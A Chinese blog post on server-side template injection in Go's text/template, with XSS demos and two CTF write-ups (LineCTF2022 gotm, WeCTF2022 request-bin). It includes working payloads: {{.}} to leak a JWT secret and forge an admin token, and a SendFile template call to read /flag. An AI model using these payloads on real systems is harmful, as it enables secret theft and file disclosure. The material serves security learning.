浅学Go下的ssti漏洞问题

news2024/11/17 21:42:37

前言

作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题。

GO模板引擎

Go 提供了两个模板包。一个是 text/template,另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。

template简介

template之所以称作为模板的原因就是其由静态内容和动态内容所组成,可以根据动态内容的变化而生成不同的内容信息交由客户端,以下即一个简单例子。

模板内容 Hello, {{.Name}} Welcome to go web programming…
期待输出 Hello, liumiaocn Welcome to go web programming…

而作为go所提供的模板包,text/template和html/template的主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,以下是两种模板的简单演示。

text/template

package main

import (
	"net/http"
	"text/template"
)

type User struct {
	ID       int
	Name	 string
	Email    string
	Password string
}

func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
	user := &User{1,"John", "test@example.com", "test123"}
	r.ParseForm()
	tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}`
	data := map[string]string{
		"Name":  user.Name,
		"Email": user.Email,
	}
	html := template.Must(template.New("login").Parse(tpl))
	html.Execute(w, data)
}

func main() {
	server := http.Server{
		Addr: "127.0.0.1:8888",
	}
	http.HandleFunc("/string", StringTpl2Exam)
	server.ListenAndServe()
}

struct是定义了的一个结构体,在go中,我们是通过结构体来类比一个对象,因此他的字段就是一个对象的属性,在该实例中,我们所期待的输出内容为下

模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, John</h1><br>Your Email is test@example.com

可以看得出来,当传入参数可控时,就会经过动态内容生成不同的内容,而我们又可以知道,go模板是提供字符串打印功能的,我们就有机会实现xss。

package main

import (
	"net/http"
	"text/template"
)

type User struct {
	ID       int
	Name	 string
	Email    string
	Password string
}

func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
	user := &User{1,"John", "test@example.com", "test123"}
	r.ParseForm()
	tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`
	data := map[string]string{
		"Name":  user.Name,
		"Email": user.Email,
	}
	html := template.Must(template.New("login").Parse(tpl))
	html.Execute(w, data)
}

func main() {
	server := http.Server{
		Addr: "127.0.0.1:8888",
	}
	http.HandleFunc("/string", StringTpl2Exam)
	server.ListenAndServe()
}

模板内容 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is test@example.com
实际输出 弹出/xss/

这里就是text/template和html/template的最大不同了。

【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

html/template

同样的例子,但是我们把导入的模板包变成html/template

package main

import (
	"net/http"
	"html/template"
)

type User struct {
	ID       int
	Name	 string
	Email    string
	Password string
}

func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
	user := &User{1,"John", "test@example.com", "test123"}
	r.ParseForm()
	tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`
	data := map[string]string{
		"Name":  user.Name,
		"Email": user.Email,
	}
	html := template.Must(template.New("login").Parse(tpl))
	html.Execute(w, data)
}

func main() {
	server := http.Server{
		Addr: "127.0.0.1:8888",
	}
	http.HandleFunc("/string", StringTpl2Exam)
	server.ListenAndServe()
}

可以看到,xss语句已经被转义实体化了,因此对于html/template来说,传入的script和js都会被转义,很好地防范了xss,但text/template也提供了内置函数html来转义特殊字符,除此之外还有js,也存在template.HTMLEscapeString等转义函数。

而通过html/template包等,go提供了诸如Parse/ParseFiles/Execute等方法可以从字符串或者文件加载模板然后注入数据形成最终要显示的结果。

html/template 包会做一些编码来帮助防止代码注入,而且这种编码方式是上下文相关的,这意味着它可以发生在 HTML、CSS、JavaScript 甚至 URL 中,模板库将确定如何正确编码文本。

template常用基本语法

{{}}内的操作称之为pipeline

{{.}} 表示当前对象,如user对象

{{.FieldName}} 表示对象的某个字段

{{range …}}{{end}} go中for…range语法类似,循环

{{with …}}{{end}} 当前对象的值,上下文

{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择

{{xxx | xxx}} 左边的输出作为右边的输入

{{template "navbar"}} 引入子模版

漏洞演示

在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符.

在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self。

package main

import (
	"net/http"
	"text/template"
)

type User struct {
	ID       int
	Name	 string
	Email    string
	Password string
}

func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
	user := &User{1,"John", "test@example.com", "test123"}
	r.ParseForm()
	tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}`
	data := map[string]string{
		"Name":  user.Name,
		"Email": user.Email,
	}
	html := template.Must(template.New("login").Parse(tpl))
	html.Execute(w, data)
}

func main() {
	server := http.Server{
		Addr: "127.0.0.1:8888",
	}
	http.HandleFunc("/string", StringTpl2Exam)
	server.ListenAndServe()
}

输出为

模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}
期待输出 <h1>Hi, John</h1><br>Your Email is map[Email:test@example.com Name:John]

可以看到结构体内的都会被打印出来,我们也常常利用这个检测是否存在SSTI。

接下来就以几道题目来验证一下

[LineCTF2022]gotm

package main

import (
	"encoding/json"
	"fmt"
	"log"
	"net/http"
	"os"
	"text/template"

	"github.com/golang-jwt/jwt"
)

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

type AccountClaims struct {
	Id       string `json:"id"`
	Is_admin bool   `json:"is_admin"`
	jwt.StandardClaims
}

type Resp struct {
	Status bool   `json:"status"`
	Msg    string `json:"msg"`
}

type TokenResp struct {
	Status bool   `json:"status"`
	Token  string `json:"token"`
}

var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")

func clear_account() {
	acc = acc[:1]
}

func get_account(uid string) Account {
	for i := range acc {
		if acc[i].id == uid {
			return acc[i]
		}
	}
	return Account{}
}

func jwt_encode(id string, is_admin bool) (string, error) {
	claims := AccountClaims{
		id, is_admin, jwt.StandardClaims{},
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	return token.SignedString([]byte(secret_key))
}

func jwt_decode(s string) (string, bool) {
	token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
		return []byte(secret_key), nil
	})
	if err != nil {
		fmt.Println(err)
		return "", false
	}
	if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
		return claims.Id, claims.Is_admin
	}
	return "", false
}

func auth_handler(w http.ResponseWriter, r *http.Request) {
	uid := r.FormValue("id")
	upw := r.FormValue("pw")
	if uid == "" || upw == "" {
		return
	}
	if len(acc) > 1024 {
		clear_account()
	}
	user_acc := get_account(uid)
	if user_acc.id != "" && user_acc.pw == upw {
		token, err := jwt_encode(user_acc.id, user_acc.is_admin)
		if err != nil {
			return
		}
		p := TokenResp{true, token}
		res, err := json.Marshal(p)
		if err != nil {
		}
		w.Write(res)
		return
	}
	w.WriteHeader(http.StatusForbidden)
	return
}

func regist_handler(w http.ResponseWriter, r *http.Request) {
	uid := r.FormValue("id")
	upw := r.FormValue("pw")

	if uid == "" || upw == "" {
		return
	}

	if get_account(uid).id != "" {
		w.WriteHeader(http.StatusForbidden)
		return
	}
	if len(acc) > 4 {
		clear_account()
	}
	new_acc := Account{uid, upw, false, secret_key}
	acc = append(acc, new_acc)

	p := Resp{true, ""}
	res, err := json.Marshal(p)
	if err != nil {
	}
	w.Write(res)
	return
}

func flag_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, is_admin := jwt_decode(token)
		if is_admin == true {
			p := Resp{true, "Hi " + id + ", flag is " + flag}
			res, err := json.Marshal(p)
			if err != nil {
			}
			w.Write(res)
			return
		} else {
			w.WriteHeader(http.StatusForbidden)
			return
		}
	}
}

func root_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)
		acc := get_account(id)
		tpl, err := template.New("").Parse("Logged in as " + acc.id)
		if err != nil {
		}
		tpl.Execute(w, &acc)
	} else {

		return
	}
}

func main() {
	admin := Account{admin_id, admin_pw, true, secret_key}
	acc = append(acc, admin)

	http.HandleFunc("/", root_handler)
	http.HandleFunc("/auth", auth_handler)
	http.HandleFunc("/flag", flag_handler)
	http.HandleFunc("/regist", regist_handler)
	log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}

我们先对几个路由和其对应的函数进行分析

struct结构

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

注册功能

func regist_handler(w http.ResponseWriter, r *http.Request) {
    uid := r.FormValue("id")
    upw := r.FormValue("pw")

    if uid == "" || upw == "" {
        return
    }

    if get_account(uid).id != "" {
        w.WriteHeader(http.StatusForbidden)
        return
    }
    if len(acc) > 4 {
        clear_account()
    }
    new_acc := Account{uid, upw, false, secret_key} //创建新用户
    acc = append(acc, new_acc)

    p := Resp{true, ""}
    res, err := json.Marshal(p)
    if err != nil {
    }
    w.Write(res)
    return
}

登录功能

func auth_handler(w http.ResponseWriter, r *http.Request) {
    uid := r.FormValue("id")
    upw := r.FormValue("pw")
    if uid == "" || upw == "" {
        return
    }
    if len(acc) > 1024 {
        clear_account()
    }
    user_acc := get_account(uid)
    if user_acc.id != "" && user_acc.pw == upw {    //检验id和pw
        token, err := jwt_encode(user_acc.id, user_acc.is_admin)
        if err != nil {
            return
        }
        p := TokenResp{true, token}     //返回token
        res, err := json.Marshal(p)
        if err != nil {
        }
        w.Write(res)
        return
    }
    w.WriteHeader(http.StatusForbidden)
    return
}

认证功能

func root_handler(w http.ResponseWriter, r *http.Request) {
    token := r.Header.Get("X-Token")
    if token != "" {    //根据token解出id,根据uid取出对应account
        id, _ := jwt_decode(token)
        acc := get_account(id)
        tpl, err := template.New("").Parse("Logged in as " + acc.id)
        if err != nil {
        }
        tpl.Execute(w, &acc)
    } else {

        return
    }
}

得到account

func get_account(uid string) Account {
    for i := range acc {
        if acc[i].id == uid {
            return acc[i]
        }
    }
    return Account{}
}

flag路由

func flag_handler(w http.ResponseWriter, r *http.Request) {
    token := r.Header.Get("X-Token")
    if token != "" {
        id, is_admin := jwt_decode(token)
        if is_admin == true {   //将is_admin修改为true即可得到flag
            p := Resp{true, "Hi " + id + ", flag is " + flag}
            res, err := json.Marshal(p)
            if err != nil {
            }
            w.Write(res)
            return
        } else {
            w.WriteHeader(http.StatusForbidden)
            return
        }
    }
}


所以思路就清晰了,我们需要得到secret_key,然后继续jwt伪造得到flag。

而由于root_handler函数中得到的acc是数组中的地址,即会在全局变量acc函数中查找我们的用户,这时传入{{.secret_key}}会返回空,所以我们用{{.}}来得到结构体内所有内容。

/regist?id={{.}}&pw=123

/auth?id={{.}}&pw=123
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}

带上token重新访问

Logged in as {{{.}} 123 false this_is_f4Ke_key}

得到secret_key,进行jwt伪造,把 is_admin修改为true,key填上secret_key得到

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo

带上token访问/flag

[WeCTF2022]request-bin

洁白一片,使用{{.}}进行检测

这道题目采用的框架是iris,用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染,所以我们就可以利用该点进行ssti。

我们需要的是进行文件的读取,所以我们需要看看irisaccesslog库的模板注入如何利用。

在Accesslog的结构体中可以发现。

type Log struct {
	// The AccessLog instance this Log was created of.
	Logger *AccessLog `json:"-" yaml:"-" toml:"-"`

	// The time the log is created.
	Now time.Time `json:"-" yaml:"-" toml:"-"`
	// TimeFormat selected to print the Time as string,
	// useful on Template Formatter.
	TimeFormat string `json:"-" yaml:"-" toml:"-"`
	// Timestamp the Now's unix timestamp (milliseconds).
	Timestamp int64 `json:"timestamp" csv:"timestamp"`

	// Request-Response latency.
	Latency time.Duration `json:"latency" csv:"latency"`
	// The response status code.
	Code int `json:"code" csv:"code"`
	// Init request's Method and Path.
	Method string `json:"method" csv:"method"`
	Path   string `json:"path" csv:"path"`
	// The Remote Address.
	IP string `json:"ip,omitempty" csv:"ip,omitempty"`
	// Sorted URL Query arguments.
	Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"`
	// Dynamic path parameters.
	PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"`
	// Fields any data information useful to represent this Log.
	Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"`
	// The Request and Response raw bodies.
	// If they are escaped (e.g. JSON),
	// A third-party software can read it through:
	// data, _ := strconv.Unquote(log.Request)
	// err := json.Unmarshal([]byte(data), &customStruct)
	Request  string `json:"request,omitempty" csv:"request,omitempty"`
	Response string `json:"response,omitempty" csv:"response,omitempty"`
	//  The actual number of bytes received and sent on the network (headers + body or body only).
	BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"`
	BytesSent     int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"`

	// A copy of the Request's Context when Async is true (safe to use concurrently),
	// otherwise it's the current Context (not safe for concurrent access).
	Ctx *context.Context `json:"-" yaml:"-" toml:"-"`
}

这里我们经过审查,会发现context里面存在SendFile进行文件强制下载。

所以我们可以构造payload如下

{{ .Ctx.SendFile "/flag" "1.txt"}}

后言

golang的template跟很多模板引擎的语法差不多,比如双花括号指定可解析的对象,假如我们传入的参数是可解析的,就有可能造成泄露,其本质就是合并替换,而常用的检测payload可以用占位符.,对于该漏洞的防御也是多注意对传入参数的控制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/30073.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

汽车制造企业借力泛微京桥通,推动采购流程化、数字化

新常态下汽车采购数字化是趋势 随着互联网的发展、智能技术的兴起和市场竞争态势的变革&#xff0c;汽车制造企业不断融合新技术&#xff0c;打造新产品&#xff1b;同时&#xff0c;融合线上线下的营销和服务方式&#xff0c;创新运营模式&#xff0c;提升业务效率。 汽车制…

Android Java反射与Proxy动态代理详解与使用基础篇(一)

一、介绍 什么是反射&#xff1f; 反射是java语言的一个特性&#xff0c;它允程序在运行时&#xff08;注意不是编译的时候&#xff09;来进行自我检查并且对内部的成员进行操作。 反射是在运行状态中&#xff0c;对于任意一个类&#xff0c;都能够知道这个类的所有属性和方法…

夯实C++基础学习笔记

第一章 内存模型和编译链接 1. 掌握进程虚拟地址空间区域划分 编程语言产生&#xff1a;指令数据 exe 磁盘加载到内存&#xff0c;不可能直接加载到内存。 x86系统&#xff1a;linux系统会给当前进程分配一个 2^32 大小的空间 4G 它不存在&#xff0c;你却看得见&#xff0…

Bio-Helix丨Bio-Helix艾美捷Ponceaus S染色液说明书

Bio-Helix艾美捷Ponceaus S染色液是一种用于评估蛋白质印迹转移效率的现成膜染色剂。该染色剂适用于硝化纤维或PVDF膜上的快速可逆蛋白质染色。Ponceau S染色是可逆的&#xff0c;可以在0.1%NaOH中短时间培养去除。 图&#xff1a; Ponceau S溶液可用于评估硝化纤维和PVDF膜上的…

正点原子stm32F407学习笔记6——外部中断实验

一、GPIO与中断线的映射关系 GPIO 的管脚GPIOx.0 ~ GPIOx.15(xA,B,C,D,E&#xff0c;F,G,H,I)分别对应中断线 0~15。这样每个中断线对应了最多 9 个 IO 口&#xff0c;以线 0 为例&#xff1a;它对应了 GPIOA.0、GPIOB.0、GPIOC.0、GPIOD.0、GPIOE.0、GPIOF.0、GPIOG.0,GPIOH.…

springcloud7:服务注册与发现总结篇

eureka总结 问题1&#xff1a;为什么使用服务注册&#xff1f; 服务越来越多&#xff0c;负责存储和管理维护服务地址 问题2&#xff1a;如何通过名称访问地址&#xff1f; 即服务中心存储的为名称地址的键值对&#xff0c;服务注册中心会通过名称来返回访问地址&#xff08;ip…

设备树属性获取,通过键获取值的相关函数实验

1.int of_property_read_u32_index(const struct device_node *np, const char *propname, u32 index, u32 *out_value) 功能&#xff1a;获取32位无符号整型的值 参数&#xff1a; np:节点结构体指针 propname:键名 index:索引号 out_value:获取到的值 返回值&#xff1a;成功…

代码随想录训练营第29天|LeetCode 491.递增子序列、46.全排列、47.全排列 II

参考 代码随想录 题目一&#xff1a;LeetCode 491.递增子序列 这个题同样涉及到去重&#xff0c;但是不能再使用子集II那题中的去重方法&#xff0c;在那个题中用下面的代码去重&#xff1a; if (i > 0 && nums[i] nums[i - 1] && !used[i - 1]){conti…

【机器学习笔记】吴恩达机器学习

✍个人博客&#xff1a;https://blog.csdn.net/Newin2020?spm1011.2415.3001.5343 &#x1f4e3;专栏定位&#xff1a;为学习吴恩达机器学习视频的同学提供的随堂笔记。 &#x1f4da;专栏简介&#xff1a;在这个专栏&#xff0c;我将整理吴恩达机器学习视频的所有内容的笔记&…

麒麟系统上使用linuxdeployqt 编译安装

linuxdeployqt 去除git校验可以编译处理 银河麒麟V4&#xff0c;V10&#xff0c;本篇以V10记录&#xff0c;参照上一篇可安装V4、V7、V10三个版本&#xff0c;麒麟V4系自带了Qt&#xff0c;麒麟V10没有自带Qt&#xff0c;需要自己编译搭建环境。 linuxdeployqt编译&#xff08…

GlobalWebsoket.js 封装配置分析

GlobalWebsoket.js 封装配置分析前言一、 封装好的 GlobalWebsoket.js 1. GlobalWebsoket.js 二、GlobalWebsoket.js 代码分析1.GlobalWebsoket.js import 分析2.GlobalWebsoket.js 整体分析3. initWebSoket()3. getWebsoket4. sendSocketMessage三、GlobalWebsoket.js 使用分…

[附源码]Python计算机毕业设计大学生社团管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

大数据下一代变革之必研究数据湖技术Hudi原理实战双管齐下-中

文章目录核心原理数据写写操作UPSERT写流程INSERT写流程INSERT OVERWRIT写流程Key 生成策略删除策略写流程归纳数据读集成Spark使用环境准备spark-shell使用启动插入数据查询数据更新数据时间旅行查询增量查询指定时间点查询删除数据覆盖数据spark-sql使用启动创建表插入数据时…

状态压缩dp整理

目录蒙德里安的梦想详细解释Code最短Hamilton路径详细解释Code蒙德里安的梦想 求把 NMNMNM 的棋盘分割成若干个 121212 的长方形&#xff0c;有多少种方案。 例如当 N2&#xff0c;M4N2&#xff0c;M4N2&#xff0c;M4 时&#xff0c;共有 555 种方案。当 N2&#xff0c;M3N2…

语音合成技术入门之Tacotron

语音合成TTS 学习李宏毅课程。 输入文字&#xff0c;输出语音。 端到端之前TTS 18世纪就有&#xff0c;能找到demo的是1939年VODER。 就像电子琴一样&#xff0c;用手控制发出不同声音。 到1960年&#xff0c;IBM计算机能合成出歌唱声。 波形拼接 过去最常用的商用语音合…

策略验证_指标买点分析技法_运用MACD确定最佳买点

写在前面&#xff1a; 1. 本文中提到的“股票策略校验工具”的具体使用操作请查看该博文&#xff1b; 2. 文中知识内容来自书籍《同花顺炒股软件从入门到精通》 3. 本系列文章是用来学习技法&#xff0c;文中所得内容都仅仅只是作为演示功能使用 目录 解说 策略代码 结果 解…

【node.js】第六章 初识express

目录 1. express简介 1.1 express的概念 1.2 express的作用 2. express的使用 2.1 使用express创建Web服务器 2.2 监听GET/POST请求 2.3 获取URL的请求参数 3. 托管静态资源 3.1 express.static 3.2 托管多个静态资源 3.3 挂载路径前缀 4. nodemon 1. express…

Docker镜像操作、容器操作、数据卷及挂载数据卷

目录 一、镜像操作 案例&#xff1a;从DockerHub中拉取一个nginx镜像并查看 案例&#xff1a;利用docker save将nginx镜像导出磁盘&#xff0c;然后再通过load加载回来 二、容器操作 案例&#xff1a;创建运行一个Nginx容器 案例&#xff1a;创建并进入redis容器&#xf…

随笔记录-看nacos源码

Import注解 Import注解可以导入一些配置类&#xff0c;也就是创建一些指定对象。 使用Import导入普通类 项目结构中&#xff0c;import-consumer和import-provider都是同层级的module&#xff0c;import-consumer的pom文件中有引用import-provider的依赖&#xff1b; import…

baby_web (攻防世界)

前言: 这篇文章还是是为了帮助一些 像我这样的菜鸟 找到简单的题解 题目描述 进入网址 解题工具: 一个有F12的键盘 问题解析: 题目说想想初始页面是哪个 一般都是index.php 然后如题分析即可 科普时间叒到 HTTP状态码 &#xff08;英语&#xff1a;HTTP Status Code…